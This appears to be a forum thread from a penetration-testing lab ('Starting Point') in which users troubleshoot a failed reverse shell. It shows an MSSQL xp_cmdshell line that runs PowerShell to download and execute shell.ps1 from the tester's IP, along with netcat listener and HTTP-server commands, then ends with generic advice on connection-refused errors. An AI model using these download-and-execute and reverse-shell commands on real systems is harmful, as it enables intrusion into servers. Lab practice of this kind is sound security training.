No connection could be made because the target machine - actively refused it [ Starting Point ]

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.106/shell.ps1\“);”
output


New-Object : Exception calling “.ctor” with “2” argument(s): "No connection could be made because the target machine

actively refused it 10.10.14.106:443"




What am I doing wrong? :neutral:

https://imgur.com/cxRJGof.png (shell.ps1)

I’m having the same error here; files (shell.ps1) have the correct ip (for myself which I got from ifconfig) and the script also has the correct IP, port is listening (port 443) the ufw has the rule added, I can see the successful request from the python server for the file but it sends the same error than he does.

ok i have my first flag ahahahah…
Solution: i have remove command ufw… and open in a new terminal this:
sudo nc -lvnp 443

Type your comment> @misentomanuel said:

ok i have my first flag ahahahah…
Solution: i have remove command ufw… and open in a new terminal this:
sudo nc -lvnp 443

So, Uninstalled ufw? is that what’s refusing the connection?

Type your comment> @Katorea132 said:

Type your comment> @misentomanuel said:

ok i have my first flag ahahahah…
Solution: i have remove command ufw… and open in a new terminal this:
sudo nc -lvnp 443

So, Uninstalled ufw? is that what’s refusing the connection?

Open in two different terminal:
python3 -m http.server 80
and
nc -lvnp 443

ufw allow from 10.10.10.27 proto tcp to any port 80,443 <— this is not needed

Hello I’m having the same error I’ve run the commands in separate windows i can even see the connection on both http and nc but still having this error please help

you have to combine the lines into one line, becareful the spaces

in the file “shell.ps1”, you have to combine the lines into one line, becareful the spaces

@UserInactive said:

https://imgur.com/cxRJGof.png (shell.ps1)

Hello and thank you for your answer, unfortunatly I already did it into one line and the error is still here any other suggestions?

Ok I solved it! just needed to start typing in the nc window to get the shell :wink:

This exception message says you’re trying to connect to the same host ( 127.0.0.1 ), while you’re stating that your server is running on a different host. This 127.0.0.1 represents a ‘loopback’ . It allows the computer to communicate with itself via network protocol .

This error is a network-related error occurred while establishing a connection to the Server. It means that the error is occurring because there is no server listening at the hostname and port you assigned. It literally means that the machine exists but that it has no services listening on the specified port . So, no connection can be established. Generally, it happens that something is preventing a connection to the port or hostname. Either there is a firewall blocking the connection or the process that is hosting the service is not listening on that specific port. This may be because it is not running at all or because it is listening on a different port. So, no connection can be established.

Try running netstat -anb from the command line to see if there’s anything listening on the port you were entered. If you get nothing, try changing your port number and see if that works for you. In Windows operating systems, you can use the netstat services via the command line (cmd.exe) . On Linux you may need to do netstat -anp instead.

The target machine actively refused it occasionally , it is likely because the server has a full ‘backlog’ . Regardless of whether you can increase the server backlog , you do need retry logic in your client code, sometimes it cope with this issue; as even with a long backlog the server might be receiving lots of other requests on that port at that time.